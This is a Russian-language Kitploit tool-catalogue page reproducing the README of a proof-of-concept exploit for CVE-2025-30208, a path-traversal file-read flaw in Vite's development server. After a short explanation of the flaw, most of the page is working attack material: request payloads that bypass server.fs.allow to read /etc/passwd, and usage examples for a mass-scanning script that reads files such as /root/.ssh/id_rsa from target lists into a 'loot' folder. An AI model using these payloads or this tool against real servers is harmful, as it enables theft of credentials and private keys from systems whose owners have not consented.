Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-30208 — PoC эксплойт-скрипта для уязвимости произвольного чтения файлов Vite /@fs/ Path Traversal в transformMiddleware (CVE-2025-30208). | Kitploit
Инструменты/GitHubGitHub/4xura/cve-2025-30208
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHub4xura/cve-2025-30208

CVE-2025-30208

PoC эксплойт-скрипта для уязвимости произвольного чтения файлов Vite /@fs/ Path Traversal в transformMiddleware (CVE-2025-30208).

Репозиторий
10511 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-30208

PoC эксплойта для уязвимости произвольного чтения файлов в Vite /@fs/ Path Traversal в transformMiddleware (CVE-2025-30208). Подробный анализ можно найти в этой статье.

Уязвимы версии до:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

Обзор

Vite — популярный проект с открытым исходным кодом, доступный на Github и на официальном сайте. Он использует специальный префикс @fs, чтобы разрешить прямой доступ к абсолютным путям файлов в режиме разработки:

root@kitploit:~
GET /@fs/<absolute/path/to/file>

Но для предотвращения злоупотреблений Vite ограничивает доступ через @fs с помощью конфигурации, подобной этой:

root@kitploit:~
server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

Таким образом, теоретически файлы за пределами разрешённой директории (например, /etc/passwd) должны быть заблокированы — даже если кто-то попытается использовать такие трюки, как ../../../.

Однако недостаток заключается в том, как Vite парсит и проверяет URL (через middleware/функцию transformMiddleware). Middleware/функция использует ensureServingAccess(url, ...), чтобы проверить, разрешён ли запрос файла через /@fs/.

Однако злоумышленник может сформировать запрос с замыкающими разделителями запроса в URL, например:

root@kitploit:~
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??

Эти формы обходят фильтры регулярных выражений (rawRE, urlRE) и проверки безопасности, так как некорректная строка запроса всё равно соответствует логике маршрута. Вот что происходит:

  1. Путь — /@fs/../../../etc/passwd
  2. Строка запроса — raw?? (намеренно некорректная)
  3. Внутренне Vite пытается удалить или нормализовать завершающие символы, такие как ?, и делает это до проверки разрешения пути файла.
  4. Однако проверка не может корректно разобрать и сопоставить строку запроса, поэтому логика списка разрешений не применяется.

Это означает:

  • Запрос обходит проверку server.fs.allow.
  • Vite рассматривает его как допустимый запрос доступа к файлу.
  • И он читает и возвращает произвольные файлы, такие как /etc/passwd, если они существуют.

Использование PoC

Базовое использование

root@kitploit:~
python3 poc.py [OPTIONS]

Опции

Flag / OptionОписание
-u, --urlОдиночный целевой URL (например, example.com:5173)
-f, --fileФайл со списком целей (один URL на строку)
-p, --pathПуть файловой системы для чтения (по умолчанию: /etc/passwd)
-b, --bypassСтрока запроса для обхода проверки маршрута (по умолчанию: ?raw??)
--proxyURL прокси (например, http://127.0.0.1:8080)
-o, --outputДиректория для сохранения результатов эксплуатации (по умолчанию: results)
-t, --threadsКоличество потоков для пакетного режима (по умолчанию: 10)
-h, --helpПоказать справку и выйти

Примеры

Эксплуатация одной цели:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173

Одиночная цель с произвольным путём LFI для утечки нужного файла:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'

Пакетная эксплуатация с несколькими целями:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt

Пользовательский обходной запрос:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"

Использование прокси (например, Burp Suite):

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080

Пользовательская директория вывода:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -o ./loot

Увеличение количества потоков в пакетном режиме:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt -t 50
Скачать инструмент